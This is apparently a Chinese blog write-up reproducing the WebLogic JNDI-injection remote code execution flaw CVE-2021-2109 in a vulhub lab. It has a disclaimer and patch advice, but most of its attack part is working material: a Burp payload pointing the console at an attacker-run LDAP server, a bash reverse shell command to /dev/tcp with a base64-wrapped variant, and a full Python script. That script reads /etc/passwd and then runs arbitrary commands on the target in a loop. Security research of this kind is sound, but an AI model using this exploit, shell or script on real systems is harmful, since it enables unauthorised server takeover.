WebLogic Server 远程代码执行漏洞(CVE-2021-2109)

简介: WebLogic Server 远程代码执行漏洞,攻击者可通过使用恶意Payload对目标服务器实施攻击并接管服务器获取执行权限。

声明


本篇文章仅用于漏洞复现技术研究,切勿将文中涉及攻击手法用于非授权下的渗透攻击行为,出现任何后果与本作者无关,切记!!!


一、漏洞概述


WebLogic是美国Oracle公司出品的一个application server,确切的说是一个基于JAVAEE架构的中间件,WebLogic是用于开发、集成、部署和管理大型分布式Web应用、网络应用和数据库应用的Java应用服务器。将Java的动态功能和Java Enterprise标准的安全性引入大型网络应用的开发、集成、部署和管理之中。

该漏洞为WebLogic的远程代码执行漏洞,漏洞主要由JNDI注入,导致攻击者可利用此漏洞远程代码执行

二、影响版本


  • Weblogic Server 10.3.6.0.0
  • Weblogic Server 12.1.3.0.0
  • Weblogic Server 12.2.1.3.0
  • Weblogic Server 12.2.1.4.0
  • Weblogic Server 14.1.1.0.0


三、环境搭建


这里借助CVE-2020-14882对此漏洞进行复现测试


git clone https://github.com/vulhub/vulhub.git

cd vulhub/weblogic/CVE-2020-14882

docker-compose up -d  

image.png

浏览器访问,如下图所示,环境搭建成功。

image.png

四、漏洞分析


漏洞分析请参考:

https://zhuanlan.zhihu.com/p/404255545

https://mp.weixin.qq.com/s/wX9TMXl1KVWwB_k6EZOklw


调试分析请参考:

https://mp.weixin.qq.com/s/WtoUzPEgLlU8jUzvzC75Dg


五、漏洞复现


未授权访问,如果有此页面未授权可访问,且WebLogic为受影响的版本,则可能存在漏洞,http://X.X.X.X:7001/console/css/%252e%252e%252f/consolejndi.portal

image.png

VPS上启动LDAP(运行LDAP需要Java 1.8版本环境)


java -jar JNDIExploit-1.3-SNAPSHOT.jar -i VPS_ip

image.png

启动Burp

POC: _pageLabel=JNDIBindingPageGeneral&_nfpb=true&JNDIBindingPortlethandle=com.bea.console.handles.JndiBindingHandle(%22ldap://x.x.x;x:1389/Basic/WeblogicEcho;AdminServer%22)


执行系统命令

image.png

image.png

VPS这边有回显数据

image.png

反弹Shell


命令:bash -i >& /dev/tcp/X.X.X.X/端口号 0>&1


Cmd: bash -c {echo, {反弹shell命令Base64加密后的数据}}|{base64,-d}|{bash,-i}

image.png

POC漏洞检测(这里一定要把运行LDAP)


import requests

import sys

import re

requests.packages.urllib3.disable_warnings()

from requests.packages.urllib3.exceptions import InsecureRequestWarning

 

def title():

   print('+------------------------------------------')

   print('+  \033[34mPOC_Des: http://wiki.peiqi.tech                                   \033[0m')

   print('+  \033[34mGithub : https://github.com/PeiQi0                                 \033[0m')

   print('+  \033[34m公众号 : PeiQi文库                                                     \033[0m')

   print('+  \033[34mVersion: Weblogic 多个版本                                           \033[0m')

   print('+  \033[36m使用格式:  python3 poc.py                                            \033[0m')

   print('+  \033[36mUrl         >>> http://xxx.xxx.xxx.xxx                             \033[0m')

   print('+  \033[36mLDAP        >>> ldap://xxx.xxx.xxx;xxx:1389                         \033[0m')

   print('+------------------------------------------')

 

def POC_1(target_url, ldap_url, cmd):

   vuln_url = target_url + "/console/css/%252e%252e/consolejndi.portal?_pageLabel=JNDIBindingPageGeneral&_nfpb=true&JNDIBindingPortlethandle=com.bea.console.handles.JndiBindingHandle(%22{}/Basic/WeblogicEcho;AdminServer%22)".format(ldap_url)

   print('\033[36m[o] 正在请求: {}'.format(vuln_url))

   headers = {

       "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4240.111 Safari/537.36",

       "cmd": cmd

   }

   try:

       response = requests.get(url=vuln_url, headers=headers, verify=False, timeout=5)

       if "root:" in response.text:

           print("\033[32m[o] 目标{}存在漏洞 \033[0m".format(target_url))

           print("\033[32m[o] 响应为:\n{} \033[0m".format(response.text))

       else:

           print("\033[31m[x] 命令执行失败 \033[0m")

           sys.exit(0)

   except Exception as e:

       print("\033[31m[x] 请检查参数和Ldap服务是否正确 \033[0m", e)

 

def POC_2(target_url, ldap_url, cmd):

   vuln_url = target_url + "/console/css/%252e%252e/consolejndi.portal?_pageLabel=JNDIBindingPageGeneral&_nfpb=true&JNDIBindingPortlethandle=com.bea.console.handles.JndiBindingHandle(%22{}/Basic/WeblogicEcho;AdminServer%22)".format(ldap_url)

   print('\033[36m[o] 正在请求: {}'.format(vuln_url))

   headers = {

       "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4240.111 Safari/537.36",

       "cmd": cmd

   }

   try:

       response = requests.get(url=vuln_url, headers=headers, verify=False, timeout=5)

       print("\033[32m[o] 响应为:\n{} \033[0m".format(response))

   except Exception as e:

       print("\033[31m[x] 请检查参数和Ldap服务是否正确 \033[0m", e)

 

if __name__ == '__main__':

   title()

   target_url = str(input("\033[35mPlease input Attack Url\nUrl >>> \033[0m"))

   ldap_url = str(input("\033[35mLdap >>> \033[0m"))

   POC_1(target_url, ldap_url, cmd="cat /etc/passwd")

 

   while True:

       cmd = input("\033[35mCmd >>> \033[0m")

       if cmd == "exit":

           sys.exit(0)

       else:

           POC_2(target_url, ldap_url, cmd)


检测结果如下:

image.png

六、修复建议


1、由于是通过JNDI注入进行远程代码执行,建议升级Weblogic Server运行环境的JDK版本;

2、升级官方安装补丁:https://www.oracle.com/security-alerts/cpujan2021.html

目录
相关文章
|
7月前
|
安全 Oracle 关系型数据库
WebLogic Server 账号密码密文解密小方法
WebLogic Server 账号密码密文解密小方法,具体操作看下文
167 3
|
7月前
|
安全 Java 应用服务中间件
WebLogic Server 远程代码执行漏洞(CVE-2023-21839/CNVD-2023-04389)
WebLogic Server 存在远程代码执行漏洞,攻击者通过特定Payload对目标服务器进行恶意利用从而获取服务器控制权限,进一步操作。
156 1
|
7月前
|
XML 安全 Java
WebLogic EJBTaglibDescriptor XXE漏洞(CVE-2019-2888)
WebLogic EJBTaglibDescriptor 在反序列化的同时会进行XML解析,通过重写EJBTaglibDescriptor中的writeExternal函数生成恶意的序列化数据。
103 1
H8
|
8月前
|
安全 网络协议 Java
跨语言的艺术:Weblogic 序列化漏洞和 IIOP 协议
Weblogic序列化漏洞主要依赖于T3和IIOP协议,在通信交互方面存在诸多问题,如跨语言、网络传输等,给漏洞检测和利用带来诸多不便。在WhiteHat Labs的理念中,漏洞检测和利用是一项创造性的工作,应该以最简洁高效的方式实现,以保证漏洞的跨平台性和实用性。因此,我们实现了跨语言的IIOP协议通信方案来解决序列化漏洞问题。
H8
153 1
|
10月前
|
XML 安全 Oracle
Weblogic IIOP协议反序列化(CVE-2020-2551)漏洞复现
Weblogic IIOP协议反序列化(CVE-2020-2551)漏洞复现
699 0
|
10月前
|
XML 安全 Oracle
Weblogic XMLDecoder 远程代码执行漏洞 CVE-2017-10271 漏洞复现
Weblogic XMLDecoder 远程代码执行漏洞 CVE-2017-10271 漏洞复现
107 0
|
11月前
|
安全 NoSQL Shell
Weblogic ssrf漏洞复现---从0到1
利用Ubuntu16.04,安装docker,要以root身份执行
171 0
Weblogic ssrf漏洞复现---从0到1
|
11月前
|
XML 安全 Oracle
干货 | 最全最详细的Weblogic漏洞总结(建议收藏)
干货 | 最全最详细的Weblogic漏洞总结(建议收藏)
2369 0
|
11月前
|
安全 Oracle 前端开发
(CVE-2018-2894)Weblogic任意文件上传漏洞复现 文末附演示视频
(CVE-2018-2894)Weblogic任意文件上传漏洞复现 文末附演示视频
117 0
|
移动开发 安全 关系型数据库
Weblogic任意文件上传漏洞(CVE-2018-2894)复现
Weblogic任意文件上传漏洞(CVE-2018-2894)复现 漏洞背景 WebLogic管理端未授权的两个页面存在任意上传getshell漏洞,可直接获取权限。
3335 0